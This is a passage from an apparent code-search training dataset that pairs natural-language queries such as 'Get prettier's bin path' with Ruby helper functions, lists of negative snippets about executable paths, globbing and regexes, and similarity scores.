+= 1 unless space_before_semicolon?(chars, chars_index)\n errors += 1 unless indentation?(chars, chars_index)\n errors += 1 unless trailing_white_space?(chars, chars_index)\n errors += 1 unless ending_semicolon?(chars, chars_index)\n errors += 1 unless space_before_colon?(chars, chars_index)\n errors += 1 unless space_after_colon?(chars, chars_index)\n end\n puts 'No Errors Found'.green if errors.zero?\n puts\n puts 'Fix Errors!'.red unless errors.zero?\n end", "def extract_and_store_haml_javascript(file_and_depth)\n tmp_javascript_files = []\n #hash of replaced ruby variables and new values\n replacement_hash = {}\n\n indent_depth = Regexp.new(/((\\s?)+)\\S/i)\n #need to caputre the number of \\s in the front of :javascript and use it determine if i reject lines\n file_and_depth.each do |ele|\n file = ele[:file]\n depth_of_tag = ele[:depth]\n\n puts \"Processing #{file} for JSLint validation\"\n\n tmp_file_handle = \"tmp/jslint/#{file}.js\"\n tmp_javascript_files << tmp_file_handle\n\n tmp_file = create_tmp_javascript_file(file, tmp_file_handle)\n\n lines = File.new(tmp_file,\"r\")\n out = File.new(tmp_file_handle, \"w\")\n\n while (line = lines.gets)\n #Drops commented lines\n next if line =~ /\\A\\s+\\//i\n\n #drops blank lines\n next if line.strip.empty?\n\n #replace ruby injections\n line, replacement_hash = find_and_replace_ruby_injection(line, replacement_hash)\n\n #now check to see how many indents. If less then the number :javascript was endnted drop them\n #we have the indent for the :javascript\n #if indent is <= depth_of_tag drop the rest of the file\n #FIXME Known bug. Will only eval first :javascript block in HAML file\n break if line.match(indent_depth)[1].size < depth_of_tag + 2\n\n out.puts line\n end\n\n out.close\n end\n\n return tmp_javascript_files\n end" ]
[ "0.696745", "0.6866762", "0.63773096", "0.5973031", "0.5968085", "0.5746366", "0.5734438", "0.5637119", "0.55822057", "0.5515528", "0.5487848", "0.5458454", "0.5310359", "0.53018683", "0.5265963", "0.5255382", "0.51963586", "0.51767755", "0.5172092", "0.5165406", "0.51620585", "0.51587987", "0.51452255", "0.5131262", "0.51011074", "0.5091916", "0.5065714", "0.5060551", "0.50382566", "0.50133944", "0.49669686", "0.4957372", "0.49547097", "0.49376342", "0.49274686", "0.49211428", "0.49037576", "0.4865508", "0.48526537", "0.48428947", "0.4841615", "0.4812969", "0.4797607", "0.47872606", "0.47859648", "0.4781412", "0.47803628", "0.4774851", "0.47725585", "0.47625268", "0.4746617", "0.47351953", "0.47220436", "0.4722016", "0.4684247", "0.46815866", "0.46768394", "0.46703896", "0.46664527", "0.4659489", "0.46568263", "0.46476457", "0.46469742", "0.46298733", "0.46174753", "0.46139446", "0.4608519", "0.45959798", "0.4591868", "0.45889193", "0.45864213", "0.45815706", "0.45784348", "0.45741612", "0.4571648", "0.4569146", "0.4568913", "0.45650735", "0.45531547", "0.4548276", "0.4546594", "0.45391852", "0.45306662", "0.45275262", "0.4524837", "0.45222354", "0.45194444", "0.45193282", "0.4506448", "0.4502101", "0.44910243", "0.44868198", "0.44832397", "0.4482804", "0.44781232", "0.44771868", "0.44743297", "0.44665104", "0.44630706", "0.44601148", "0.44599295" ]
0.0
-1
Get prettier's bin path return [String]
def prettier_path local = executable_path ? executable_path : "./node_modules/.bin/prettier" File.exist?(local) ? local : "prettier" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def bin\n return \"#{@protk_dir}/bin\"\n end", "def bin_path\n '/usr/local/bin'.p\n end", "def bin_path(_opts)\n '/bin'\n end", "def bin_path(_opts)\n '/bin'\n end", "def bin_path(_opts)\n '/bin'\n end", "def bin\n File.join(@root, 'bin')\n end", "def alternate_bin_paths\n [\n PDK::Util::RubyVersion.bin_path,\n File.join(PDK::Util::RubyVersion.gem_home, 'bin'),\n PDK::Util::RubyVersion.gem_paths_raw.map { |gem_path_raw| File.join(gem_path_raw, 'bin') },\n PDK::Util.package_install? ? File.join(PDK::Util.pdk_package_basedir, 'bin') : nil\n ].flatten.compact\n end", "def bin_path\n @bin_path ||= begin\n path = settings[:bin] || \"bin\"\n path = Pathname.new(path).expand_path(root).expand_path\n SharedHelpers.filesystem_access(path) {|p| FileUtils.mkdir_p(p) }\n path\n end\n end", "def eslint_path\n File.exist?(bin_path) ? bin_path : find_executable('eslint')\n end", "def path_with_prepended_ruby_bin\n env_path = ENV[\"PATH\"].dup || \"\"\n existing_paths = env_path.split(File::PATH_SEPARATOR)\n existing_paths.unshift(RbConfig::CONFIG[\"bindir\"])\n env_path = existing_paths.join(File::PATH_SEPARATOR)\n env_path.encode(\"utf-8\", invalid: :replace, undef: :replace)\n end", "def private_bin_dir\n return pretty_path(File.join(right_link_home_dir, 'bin'))\n end", "def npm_bin_path\n @npm_bin_path ||= npm_path_for(\"bin\")\n end", "def bundler_binstubs_path\n \"vendor/bundle/bin_next\"\n end", "def ruby_interpreter_path\n Pathname.new(\n File.join(Config::CONFIG[\"bindir\"],\n Config::CONFIG[\"RUBY_INSTALL_NAME\"]+Config::CONFIG[\"EXEEXT\"])\n ).realpath\n end", "def terragrunt_bin\n @terragrunt_bin ||= ::File.join(bin_root, \"#{terragrunt_name}-#{terragrunt_version}\", terragrunt_name)\n end", "def bin_path\n @bin_path ||= Wide::PathUtils.secure_path_join(Settings.compilation_base,\n user.user_name, name)\n end", "def composer_path\n \"#{root_dir}/bin/composer\"\n end", "def ruby_bin_path\n #config_section.ruby_bin_path || ENV['_'] =~ /ruby/ ||\n require 'rbconfig'\n File.expand_path(Config::CONFIG['RUBY_INSTALL_NAME'], Config::CONFIG['bindir'])\n end", "def path\n if @path.nil?\n self.path = Which::which('tidy')\n end\n @path\n end", "def executable_path; end", "def which_path(bin_name)\n bin_path = `which #{bin_name}`.strip\n bin_path.empty? ? nil : bin_path\n end", "def path; Gem.ruby; end", "def scripts_folder\n HOMEBREW_PREFIX/\"share/pypy#{abi_version}\"\n end", "def package_scripts_path\n \"#{Config.project_root}/package-scripts/#{name}\"\n end", "def bin_dir\n @bin_dir ||= File.join gem_dir, bindir\n end", "def ruby_path\n File.join(%w(bindir RUBY_INSTALL_NAME).map{|k| RbConfig::CONFIG[k]})\n end", "def get_path\n cmd_exec('echo $PATH').to_s\n rescue\n raise \"Unable to determine path\"\n end", "def terraform_docs_bin\n @terraform_docs_bin ||= ::File.join(bin_root, \"#{terraform_docs_name}-#{terraform_docs_version}\" ,terraform_docs_name)\n end", "def scripts_folder\n HOMEBREW_PREFIX+\"share/pypy\"\n end", "def bin(name)\n self.path.join('bin',name.to_s).to_s\n end", "def default_ktlint_path\n File.expand_path(File.join(File.dirname(__FILE__), 'bin', 'ktlint'))\n end", "def bin_dir *args\n root.join('bin', *args).to_s\n end", "def gem_bindir\n cmd = shell_out!([new_resource.absolute_gem_binary, 'environment'])\n # Parse a line like:\n # - EXECUTABLE DIRECTORY: /usr/local/bin\n matches = cmd.stdout.scan(/EXECUTABLE DIRECTORY: (.*)$/).first\n if matches\n matches.first\n else\n raise Error.new(\"Cannot find EXECUTABLE DIRECTORY: #{cmd.stdout}\")\n end\n end", "def ruby_gem_bindir\n cmd = shell_out!([new_resource.parent_ruby.gem_binary, 'environment'])\n # Parse a line like:\n # - EXECUTABLE DIRECTORY: /usr/local/bin\n matches = cmd.stdout.scan(/EXECUTABLE DIRECTORY: (.*)$/).first\n if matches\n matches.first\n else\n raise PoiseApplicationRuby::Error.new(\"Cannot find EXECUTABLE DIRECTORY: #{cmd.stdout}\")\n end\n end", "def etc; HOMEBREW_PREFIX+'etc' end", "def default_swiftlint_path\n File.expand_path(File.join(File.dirname(__FILE__), 'bin', 'swiftlint'))\n end", "def bin_dir\n @_bin_dir ||= begin\n if gem_dir\n dir = File.join(working_dir, 'bin') \n create_if_missing(dir)\n dir\n end\n end\n end", "def bin_dir\n @_bin_dir ||= begin\n if gem_dir\n dir = File.join(working_dir, 'bin')\n create_if_missing(dir)\n dir\n end\n end\n end", "def bin_dir\n @_bin_dir ||= begin\n if gem_dir\n dir = File.join(working_dir, 'bin')\n create_if_missing(dir)\n dir\n end\n end\n end", "def path_to_bin(name = nil)\n home = ENV['JAVA_HOME'] or fail 'Are we forgetting something? JAVA_HOME not set.'\n bin = Util.normalize_path(File.join(home, 'bin'))\n fail 'JAVA_HOME environment variable does not point to a valid JRE/JDK installation.' unless File.exist? bin\n Util.normalize_path(File.join(bin, name.to_s))\n end", "def private_bin_dir\n '/opt/rightscale/bin'\n end", "def private_bin_dir\n '/opt/rightscale/bin'\n end", "def binstubs_relative_paths\n [\n \"bin_next\",\n bundler_binstubs_path,\n \"#{slug_vendor_base}/bin_next\",\n ]\n end", "def ruby_path\n ext = ((RbConfig::CONFIG['ruby_install_name'] =~ /\\.(com|cmd|exe|bat|rb|sh)$/) ? \"\" : RbConfig::CONFIG['EXEEXT'])\n File.join(RbConfig::CONFIG['bindir'], RbConfig::CONFIG['ruby_install_name'] + ext).sub(/.*\\s.*/m, '\"\\&\"')\n end", "def cmd_path\n return @cmd_path unless @cmd_path.nil?\n\n @cmd_path = File.join(context.root_path, 'bin', cmd)\n # Return the path to the command if it exists on disk, or we have a gemfile (i.e. Bundled install)\n # The Bundle may be created after the prepare_invoke so if the file doesn't exist, it may not be an error\n return @cmd_path if PDK::Util::Filesystem.exist?(@cmd_path) || !PDK::Util::Bundler::BundleHelper.new.gemfile.nil?\n\n # But if there is no Gemfile AND cmd doesn't exist in the default path, we need to go searching...\n @cmd_path = alternate_bin_paths.map { |alternate_path| File.join(alternate_path, cmd) }\n .find { |path| PDK::Util::Filesystem.exist?(path) }\n return @cmd_path unless @cmd_path.nil?\n\n # If we can't find it anywhere, just let the OS find it\n @cmd_path = cmd\n end", "def path\n binpaths = []\n list.each do |name|\n lib = library(name)\n if lib.bindir?\n binpaths << lib.bindir\n end\n end\n binpaths\n end", "def ruby_relative_path\n ruby_pathname = Pathname.new(ruby)\n bindir_pathname = Pathname.new(target_bin_dir)\n ruby_pathname.relative_path_from(bindir_pathname).to_s\n end", "def script_path\n @script_paths ||= Pathname.new(source_dir).join(data['script_path'] || './scripts').to_s\n end", "def binary_path_for(version)\n \"/usr/pgsql-#{version}/bin\"\n end", "def bin_wrapper_file\n rbconfig('ruby_install_name').match /^(.*)ruby(.*)$/\n File.join(Config.bin_dir, \"#{$1}#{@bin_name}#{$2}\")\n end", "def PATH()\n path = []\n list.each do |name|\n lib = Library[name] # TODO: This activates each library, probably not what we want, get max version instead?\n path << lib.bindir if lib.bindir?\n end\n path.join(windows_platform? ? ';' : ':')\n end", "def binary_path_for(version)\n \"/opt/#{ChefUtils::Dist::Org::LEGACY_CONF_DIR}/embedded/postgresql/#{version}/bin\"\n end", "def gem_path\n `gem environment gemdir`.chomp\nend", "def embedded_bin(bin)\n windows_safe_path(\"#{install_dir}/embedded/bin/#{bin}\")\n end", "def env_path\n @bin_resolver.env_path\n end", "def installer_path\n %x[which apt-get].chomp\n end", "def rootdir() File.join(File.dirname(File.expand_path(__FILE__)), 'pipin') end", "def package_scripts_path(arg = NULL)\n if null?(arg)\n @package_scripts_path || \"#{Config.project_root}/package-scripts/#{name}\"\n else\n @package_scripts_path = File.expand_path(arg)\n end\n end", "def package_scripts_path(arg = NULL)\n if null?(arg)\n @package_scripts_path || \"#{Config.project_root}/package-scripts/#{name}\"\n else\n @package_scripts_path = File.expand_path(arg)\n end\n end", "def export_bin_dir\n bin_dir = config[:bin]\n return unless bin_dir\n return if ENV['PATH'].split(':').include? bin_dir\n ENV['PATH'] = \"#{bin_dir}:#{ENV['PATH']}\"\n end", "def ruby_path\r\n File.join janus_path, 'ruby'\r\n end", "def which(*bins)\n bins.flatten.each do |bin|\n ENV[\"PATH\"].split(\":\").each do |dir|\n full_path = File.join(dir, bin)\n return full_path if File.exist? full_path\n end\n end\n nil\nend", "def terraform_bin\n OS.locate('terraform')\n end", "def path_to_root\n path_to_script = Pathname.new(File.expand_path $PROGRAM_NAME)\n path_to_parent = path_to_script.parent\n\n if path_to_parent.basename.to_s == 'bin'\n path_to_parent = path_to_parent.parent\n end\n path_to_parent\n end", "def shell_path\n Configuration.disable_bc_shell? ? nil : Pathname.new('/bin/bash')\n end", "def bundled_path\n File.dirname Wisp::Source.bundled_path\n end", "def default_installed_bin_dir\n if Gem.win_platform?\n # TODO: Also support Windows without cygwin\n '/cygdrive/c/Program\\ Files/Puppet\\ Labs/DevelopmentKit/bin'\n else\n '/opt/puppetlabs/bin'\n end\nend", "def relative_path\n File.join(@repo, @bundle)\n end", "def find_relative_git_cookbook_path\n\n cb = Pathname.new(find_local_cookbook).realpath()\n git_root = Pathname.new(find_git_root(cb)).realpath()\n relative = cb.relative_path_from(git_root)\n #puts (\"find cb \\n#{cb} relative to path\\n#{git_root} and it is \\n#{relative}\")\n return relative.to_s\n end", "def path\n Rails.root.join(ROOT, type, name, executable).to_s\n end", "def path\n Pathname.new(\n File.expand_path(\n File.join(Gem.user_home, \".bowline\")\n )\n )\n end", "def cli_path; end", "def vite_executable\n bin_path = config.vite_bin_path\n File.exist?(bin_path) ? bin_path : \"#{ `npm bin`.chomp }/vite\"\n end", "def bundle_dir\n File.expand_path(File.join(Bixby.repo_path, self.relative_path))\n end", "def relative_working_dir\n invoke(:rev_parse, '--show-prefix')\n end", "def path_without_gem_dir\n paths = ENV['PATH'].split(':')\n system_gem_dir = \"#{Bundler.bundle_path}/bin\"\n @logger.debug(\"System gem dir: #{system_gem_dir}\")\n paths.delete_if { |p| p.downcase == system_gem_dir.downcase }\n paths.join(':')\n end", "def bin_file(name)\n File.join bin_dir, name\n end", "def deploy_dir\n '/usr/bin'\n end", "def rackup_path_from_argv\n if path = @bin.options[:rackup]\n return path if path.file?\n warn \"rackup does not exist at #{path} (given with -R)\"\n end\n end", "def ruby_bin\n @ruby_bin ||= begin\n c = ::Config::CONFIG\n File.join(c['bindir'], c['ruby_install_name']) << c['EXEEXT']\n end\n end", "def scripts_folder\n HOMEBREW_PREFIX/\"share/python3\"\n end", "def bundler_binary\n @bundler_binary ||= ::File.join(gem_bindir, 'bundle')\n end", "def exe_path\n # Add any standard cmd line arguments we need to pass\n @exe_path << \" --input=html --server --log=#{log_file} \"\n @exe_path << @cmd_args\n @exe_path << @style_sheets\n return @exe_path\n end", "def dotfile_path\n return nil if !root_path\n root_path.join(config.global.vagrant.dotfile_name)\n end", "def get_qt_location\n cmd_str = \"conan info qt/5.12.2@bincrafters/stable \" +\n \"--package-filter \\\"qt*\\\" \" +\n \"--paths --only package_folder \" +\n \"\"\n\n resp_str = `#{cmd_str}`\n\n resp_str.lines.each do |line|\n return line.split(\": \")[1].strip if line.include?(\"package_folder\")\n end\nend", "def get_qt_location\n cmd_str = \"conan info qt/5.12.2@bincrafters/stable \" +\n \"--package-filter \\\"qt*\\\" \" +\n \"--paths --only package_folder \" +\n \"\"\n\n resp_str = `#{cmd_str}`\n\n resp_str.lines.each do |line|\n return line.split(\": \")[1].strip if line.include?(\"package_folder\")\n end\nend", "def find_executables\n\t\tpaths = self.project_files.find_all do |path|\n\t\t\tpath.start_with?( 'bin/' )\n\t\tend\n\t\treturn paths.map {|path| path[%r{^bin/(.*)}, 1] }\n\tend", "def PATH()\n $LOAD_MANAGER.PATH()\n end", "def binary\n @binary ||= begin\n if brewed?\n # If the python is brewed we always prefer it!\n # Note, we don't support homebrew/versions/pythonXX.rb, though.\n Formula.factory(@name).opt_prefix/\"bin/python#{@min_version.major}\"\n else\n # Using the ORIGINAL_PATHS here because in superenv, the user\n # installed external Python is not visible otherwise.\n which(@name, ORIGINAL_PATHS.join(':'))\n end\n end\n end", "def exe_path\n # Add any standard cmd line arguments we need to pass\n @exe_path << \" --input=html --server --log='#{log_file}' \"\n @exe_path << @cmd_args\n @exe_path << @style_sheets\n return @exe_path\n end", "def path\n env[PATH] ||= (env.has_key?(GIT) ? env[GIT].path : Dir.pwd)\n end", "def tfsec_bin\n @tfsec_bin ||= ::File.join(bin_root, \"#{tfsec_name}-#{tfsec_version}\" ,tfsec_name)\n end", "def path\n @bundle_filename\n end", "def path\n 'vendor/bundle'\n end", "def kubernetes_path_to_binaries\n kube_commands(kubernetes_bin_prefix)\n end", "def pig_command_script_template_path\n File.expand_path(\"../../templates/script/runpig.sh\", __FILE__)\n end", "def get_bundle_install_name(bundle_dir, binary)\n\tcurrent_dir = \"#{bundle_dir}/#{BUNDLE_MAIN_EXE_PATH}\"\n\trelative_path = Pathname.new(binary).relative_path_from(Pathname.new(current_dir)).to_s\n\trelative_path = \"@executable_path/#{relative_path}\"\n\treturn relative_path\nend", "def filepath\n File.join(JapaneseNames.root, 'bin/enamdict.min')\n end", "def make_installer_gtifw exe_path\n end", "def env_path\n \"#{resolve_dir}:#{ENV['PATH']}:#{VENDOR_PATH}\"\n end" ]
[ "0.75942713", "0.7016835", "0.67043364", "0.67043364", "0.67043364", "0.6454652", "0.64151555", "0.6294758", "0.62662596", "0.6254949", "0.6242533", "0.6204057", "0.61977947", "0.61323047", "0.61317647", "0.6051488", "0.6038188", "0.6008746", "0.60053265", "0.5954648", "0.5952305", "0.59339154", "0.59328103", "0.5910517", "0.58327895", "0.5830468", "0.58082867", "0.5795007", "0.5792441", "0.579042", "0.5782918", "0.57800996", "0.5766084", "0.57629114", "0.56818086", "0.5673998", "0.5669658", "0.5655698", "0.5655698", "0.56212705", "0.5620086", "0.5620086", "0.5613565", "0.56078684", "0.5584895", "0.55830675", "0.5579538", "0.5576094", "0.55643106", "0.555507", "0.5532519", "0.5521186", "0.550985", "0.5502308", "0.5498571", "0.54928505", "0.5470601", "0.5457406", "0.5457406", "0.5449517", "0.5448126", "0.54473954", "0.54463476", "0.54230535", "0.54141396", "0.5412808", "0.5400641", "0.53941625", "0.53867704", "0.5368162", "0.53513443", "0.5350616", "0.53469384", "0.53403395", "0.5337477", "0.53199804", "0.5312225", "0.5289445", "0.52882516", "0.52836657", "0.52699345", "0.52696574", "0.526586", "0.524517", "0.5220757", "0.5220757", "0.5193777", "0.5188006", "0.5178494", "0.51725405", "0.5147431", "0.51242536", "0.5123602", "0.51125586", "0.5111846", "0.5111673", "0.5111313", "0.5104061", "0.5102986", "0.5102291" ]
0.80149716
0
Get prettier' file pattern regex return [String]
def matching_file_regex file_regex ? file_regex : /\.js$/ end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def pattern\n segs = @tags.map { |tagged_segment| build_segment(tagged_segment) }\n segs.last.gsub!(/\\.$/, '')\n segs.unshift \"^\"\n segs.push \"\\\\.?$\"\n Regexp.new(segs.join)\n end", "def pattern2regex(pattern); end", "def regex_for(pattern)\n return pattern if Regexp === pattern\n pattern = pattern.split('.') if String === pattern\n\n source = ''\n pattern.each_with_index do |part, index|\n if part == '*'\n source << '\\\\.' unless index == 0\n source << '[^\\.]+'\n elsif part == '#'\n source << '.*?' # .*? ?\n else\n source << '\\\\.' unless index == 0\n source << part\n end\n end\n\n Regexp.new(\"\\\\A#{source}\\\\Z\")\n end", "def keep_file_regex; end", "def to_regex_str\n pattern\n end", "def path_regex\n Regexp.new path_pattern, 'i'\n end", "def filepath_pattern(filepaths)\n return \"\" if filepaths.nil?\n\n filepaths.map! { |path| '^' + path + '$' }\n filepaths.join('|')\n end", "def resolve_as_file_pattern name\n pattern = /(?:\\b|_)#{Regexp.escape name}(?:\\b|_)/\n all_matching_files.select {|p| p =~ pattern }\n end", "def resolve_as_file_pattern name\n pattern = /(?:\\b|_)#{Regexp.escape name}(?:\\b|_)/\n all_matching_files.select {|p| p =~ pattern }\n end", "def regexify(glob)\n glob.gsub! '.', '\\\\.'\n rx = glob.split '*'\n rs = '^' + rx[0]\n rs << '.*'\n rs << rx[-1] if rx.length == 2\n rs << '$'\n Regexp.new rs\nend", "def patterns\n @patterns ||=\n [\n {\n :type => :erb,\n :rx => /\\.erb\\Z/,\n :rep => '',\n },\n {\n :type => :none,\n :rx => /\\Z/,\n :rep => '',\n },\n ]\n end", "def regex(pattern)\n Regexp.new pattern.regex\n end", "def file_pattern(name)\n if name.to_s !~ FILE_PATTERN_NAME_REGEX\n raise ArgumentError.new(\"A file pattern name must match this regex: #{ FILE_PATTERN_NAME_REGEX.inspect }\")\n end\n get_config_val(@file_patterns, name)\n end", "def to_regex_str\n if pattern == \"**\"\n \".*\"\n else\n \"[^/]+\"\n end\n end", "def compute_glob_pattern(file_spec)\n segments = file_spec.split(Repositext::Cli::FILE_SPEC_DELIMITER)\n r = ''\n if segments.all? { |e| e =~ BASE_DIR_NAME_REGEX || e =~ FILE_PATTERN_NAME_REGEX }\n # file_spec consists of named base_dir and/or file_pattern\n bd = segments.detect { |e| e =~ BASE_DIR_NAME_REGEX } # e.g., 'content_dir'\n fp = segments.detect { |e| e =~ FILE_PATTERN_NAME_REGEX } # e.g., 'at_files'\n r << base_dir(bd) if bd\n r << file_pattern(fp) if fp\n else\n # interpret file_spec as glob pattern, either an absolute path, or\n # a relative path, based on current working directory.\n # NOTE: this doesn't necessarily have to contain '*'. It could be the\n # path to a single file.\n if '/' == file_spec[0]\n # absolute path, use as is\n r = file_spec\n else\n # relative path, based on current working directory\n # Note: we could use just the file_spec since relative paths are\n # based on pwd by default. I just wanted to make the behavior obvious.\n r = File.expand_path(file_spec, Dir.pwd)\n end\n end\n r\n end", "def input_files_pattern\n @args.options[:input_files_pattern]\n end", "def compile_pattern(pattern)\n Regexp.compile(\"\\\\.(#{pattern})$\")\n end", "def pattern\n Regexp.union(pattern_classifiers.map(&:pattern))\n end", "def getFilePattern(filePattern)\n return if filePattern.nil?\n File.split(filePattern).inject do |memo, obj| \n File.join(memo, obj.split(/\\./).join('*.'))\n end\nend", "def pattern_names\n # This removes the path and extensions\n patterns.map { |pat| pat.name.gsub(/.*[\\\\\\/]/, '').gsub(/\\..*/, '') }\n end", "def simplified_pattern\n pattern\n end", "def simplified_pattern\n pattern\n end", "def pattern_template\n \"*\"\n end", "def pattern2regex(pattern)\n tail = pattern\n prefix = String.new\n while !tail.empty? do\n head, sep, tail = tail.partition(/[\\*\\?]/)\n prefix = prefix + Regexp.quote(head)\n case sep\n when '*'\n prefix += '.*'\n when '?'\n prefix += '.'\n when ''\n else\n fail \"Unpexpcted sep:#{sep}\"\n end\n end\n Regexp.new(\"^\" + prefix + \"$\", true)\n end", "def pattern_template\n pattern\n end", "def pattern_template\n pattern\n end", "def reg_fp; /src\\=\\\"(.+)/; end", "def reg_fp; /src\\=\\\"(.+)/; end", "def pattern\n \"#{@gem}/spec{,/*/**}/*_spec.rb\"\n end", "def file_patterns\n [@file_patterns].flatten.compact.uniq\n end", "def pattern_match(file, pattern)\n case\n when pattern.is_a?(Regexp)\n return file.match(pattern)\n when pattern.is_a?(String)\n return File.fnmatch(pattern, file)\n when pattern.is_a?(Proc)\n return pattern.call(file)\n when pattern.is_a?(Rake::FileTask)\n return pattern.to_s.match(file)\n else\n raise \"Cannot interpret pattern #{pattern}\"\n end\n end", "def path_string\n pattern\n end", "def get_filename_regex\n return IMAGE_FILENAME_REGEX\n end", "def regex\n @regex ||= (\n if template\n Templates.const_get(template.upcase)\n else\n case pattern\n when Regexp\n pattern\n when String\n flags = 0\n flags + Regexp::MULTILINE if multiline\n flags + Regexp::IGNORECASE if insensitive\n if escape\n Regexp.new(Regexp.escape(pattern), flags)\n else\n pat = substitute_templates(pattern)\n Regexp.new(pat, flags)\n end\n end\n end\n )\n end", "def patterns; end", "def file_pattern( pattern )\n self.class_eval { @file_pattern = pattern }\n end", "def define_regexp\n # Default pattern if there is no tags specified on command line\n if @options[:tags].nil?\n pattern = 'TODO|FIXME'\n else\n # Parse defined tags on command line\n pattern = ''\n tags_names = @options[:tags].split(',')\n tags_names.each do |tag_name|\n pattern << (pattern.empty?) ? \"#{tag_name}\" : \"|#{tag_name}\"\n end\n end\n pattern\n end", "def match_against filename\n @regexp.match(filename)\n end", "def regexp; end", "def regexp; end", "def build_regex_from_pattern( pattern )\n regex_str = pattern.gsub('/','\\\\/').gsub('+','[^\"\\/\"]+').gsub('\\/#','.*').gsub('#','.*')\n Regexp.new regex_str\n end", "def pattern2regex(pattern)\n pattern = \"^\" + pattern.to_s.gsub(/\\./, \"\\\\.\").\n gsub(/\\?/, '.').\n gsub(/([+\\/])/, '\\\\\\\\\\\\0').\n gsub(/\\*/, '.*') + \"$\"\n Regexp.new(pattern, true)\n end", "def pattern\n @pattern\n end", "def pattern\n @pattern ||= Pattern.patterns[pattern_name]\n end", "def document_url_regex\n regex = ''\n @languages.each do |lang|\n regex += \"([\\/\\.]#{lang}[\\/\\.])|\"\n end\n regex.chomp! '|'\n %r{#{regex}}\n end", "def document_url_regex\n regex = ''\n @languages.each do |lang|\n regex += \"([\\/\\.]#{lang}[\\/\\.])|\"\n end\n regex.chomp! '|'\n %r{#{regex}}\n end", "def keep_file_regex\n %r!\\A#{Regexp.quote(site.dest)}/(#{Regexp.union(site.keep_files).source})!\n end", "def regexps; end", "def regexp\n @regexp ||= Regexp.compile(source.to_s, Regexp::IGNORECASE)\n end", "def match(pattern); end", "def get_filename_regex\n return AUDIO_FILENAME_REGEX\n end", "def regexp\n pattern = '(?:' + Regexp.union([@name] + @aliases).source + ')'\n\n @arguments.each_value do |format|\n arg_regexp = case format\n when Array then Regexp.union(format)\n when Regexp then format\n when Symbol then ARG_FORMATS.fetch(format)\n else Regexp.escape(format.to_s)\n end\n\n pattern << ' (' << arg_regexp.source << ')'\n end\n\n # match the full message\n pattern << '$'\n\n return Regexp.new(pattern)\n end", "def glob pattern\n Dir[File.join(@originals,pattern)].collect do |f|\n File.basename(f)\n end\n end", "def test_extended_patterns_no_flags\n [\n [ \".*\", \"abcd\\nefg\", \"abcd\" ],\n [ \"^a.\", \"abcd\\naefg\", \"ab\" ],\n [ \"^a.\", \"bacd\\naefg\", \"ae\" ],\n [ \".$\", \"bacd\\naefg\", \"d\" ]\n ].each do |reg, str, result|\n m = RustRegexp.new(reg).match(str)\n puts m.inspect\n unless m.nil?\n assert_equal result, m[0]\n end\n end\n end", "def get_local_files regexp\n Dir[File.join(dir, '*')].select do |path|\n name = File.basename path\n File.file?(path) and name =~ regexp\n end\n end", "def get_cli_regex\n if ENV.include?(\"rex\")\n if ENV['rex'].scan(/\\/.+\\//)\n rex = Regexp.new ENV['rex'].scan(/\\/(.+)\\//).to_s\n else\n rex = ENV['rex']\n end\n else\n rex = $regexes[:antonym]\n end\n return rex\n end", "def pattern(default = '')\n return get(:pattern, default)\n end", "def read_regexps_from_file(file_name)\n matchers = []\n File.open(file_name).each_line do |l|\n next if (l =~ /^(#.*|\\s*)$/) # emtpy lines and lines starting with #\n matchers << Regexp.new(l.strip)\n end\n end", "def create_regex(p) #:nodoc:\n output = StringIO.open('','w')\n $stderr = output\n begin\n r = /#{p}/ui\n ensure\n output.close\n $stderr = STDERR\n end\n end", "def generate_pattern(pattern)\n plist.dict do\n append_single('begin', pattern.begin)\n append_dictionary('beginCaptures', pattern.begin_captures)\n append_dictionary('captures', pattern.captures)\n append_single('comment', pattern.comment)\n append_single('contentName', pattern.content_name)\n append_single('disabled', 1) if pattern.disabled\n append_single('end', pattern.end)\n append_dictionary('endCaptures', pattern.end_captures)\n append_single('include', pattern.include)\n append_single('match', pattern.match)\n append_single('name', pattern.name)\n append_array('patterns', pattern.patterns)\n end\n end", "def regexp\n return @regexp if @regexp\n placeholder = '___PLACEHOLDER___'\n @regexp = @base_theme.dup\n # Install placeholders for the variable data\n @regexp.gsub!(VARIABLE_MATCHER) { placeholder }\n # Strip the header comments\n @regexp.gsub! /.*^\\*\\/\\s*/m, ''\n # Collapse all whitespace\n @regexp.gsub! /\\s+/, ' '\n # Escape the literal strings\n @regexp = Regexp.escape(@regexp)\n # Whitespace means nothing\n @regexp.gsub! /\\\\\\ /, '\\s+'\n # Fast variable finder\n @regexp.gsub! placeholder, '([^;]*|\\S*)'\n # Get 'er done\n @regexp = Regexp.new(@regexp)\n end", "def shell_regex\n /\n (\\`.+\\`)\n /xm\n end", "def r regex\n raise 'First use `use`!' if @use.empty?\n \n @use.each_line do |line|\n line.gsub! /\\n$/, ''\n puts '---- ---- ---- ---- ---- ---- ----'\n puts line.inspect\n results = line.match(regex)\n if results.nil?\n puts \"No match\"\n next\n end\n puts \"Match: #{results[0].inspect}\"\n results.captures.each do |capture|\n puts \"Capture #{results.captures.index capture}: #{capture.inspect}\"\n end\n end\n puts '---- ---- ---- ---- ---- ---- ----'\nend", "def glob_to_regexp(glob)\n is_glob_pattern = glob.include?('*')\n\n regexp = if is_glob_pattern\n glob.\n gsub(%r{/\\*\\*$}, '<<to_eol_wildcards>>').\n gsub('**', '<<to_wildcards>>').\n gsub('*', '[^/]*').\n gsub('.', '\\.').\n gsub('<<to_eol_wildcards>>', '.*').\n gsub('<<to_wildcards>>', '.*')\n else\n \"#{glob}.*\"\n end\n\n Regexp.new(\"^#{regexp}$\", Regexp::IGNORECASE)\n end", "def scan_doc(path,regex)\n caputres = []\n file = File.open(path,\"r\").read.strip\n file = Stripper.comments(file)\n file.scan(regex) { caputres << $1 }\n caputres\n end", "def read patterns\n Dir[*patterns].uniq.map do |f|\n filename = File.join(Dir.pwd, f)\n\n @files ||= []; @files << filename\n STDERR.puts filename\n\n case File.extname(filename)\n when '.erb'\n Dir.chdir File.dirname(filename) do\n ERB.new(File.read(File.basename(filename))).result(binding)\n end\n else\n File.read filename\n end\n end.join(\"\\n\")\nend", "def preprocessors_for(file_path)\n select_matching_file_patterns(preprocess_paths, file_path).values\n end", "def frontmatter\n @frontmatter ||= begin\n fm = ''\n File.foreach(path) do |line|\n break if line =~ /^\\s*Pattern /\n fm << line\n end\n fm\n end\n end", "def regex_lineprefix\n Regexp.new(\"line#{VM_PREFIX}\")\nend", "def regexp\n s = Regexp.escape self\n s.gsub! /\\\\\\?/, '[^/]'\n s.gsub! /\\\\\\*/, 